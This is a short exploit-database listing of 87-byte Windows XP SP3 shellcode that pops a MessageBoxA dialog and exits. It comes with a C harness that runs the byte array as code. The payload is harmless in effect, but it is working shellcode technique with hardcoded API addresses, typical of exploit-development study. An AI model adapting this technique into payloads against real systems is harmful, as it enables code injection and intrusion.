*   

Title: Windows XP SP3 English MessageBoxA Shellcode (87 bytes)  

Date: August 20, 2010  

Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)  

Tested on: Windows XP SP3 En  

Thanks: ishtus  

Greetz: Astalavista, OffSEC, Exploit-DB  

*/

   

#include <stdio.h>  

   

char shellcode[] =  

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"

"\x51\x68\x6c\x6c\x20\x20\x68\x33"

"\x32\x2e\x64\x68\x75\x73\x65\x72"

"\x89\xe1\xbb\x7b\x1d\x80\x7c\x51" // 0x7c801d7b ; LoadLibraryA(user32.dll)  

"\xff\xd3\xb9\x5e\x67\x30\xef\x81"

"\xc1\x11\x11\x11\x11\x51\x68\x61"

"\x67\x65\x42\x68\x4d\x65\x73\x73"

"\x89\xe1\x51\x50\xbb\x40\xae\x80" // 0x7c80ae40 ; GetProcAddress(user32.dll, MessageBoxA)  

"\x7c\xff\xd3\x89\xe1\x31\xd2\x52"

"\x51\x51\x52\xff\xd0\x31\xc0\x50"

"\xb8\x12\xcb\x81\x7c\xff\xd0";    // 0x7c81cb12 ; ExitProcess(0)  

   

int main(int argc, char **argv)  

{  

   int (*func)();  

   func = (int (*)()) shellcode;  

   printf("Shellcode Length is : %d",strlen(shellcode));  

   (int)(*func)();  

      

}

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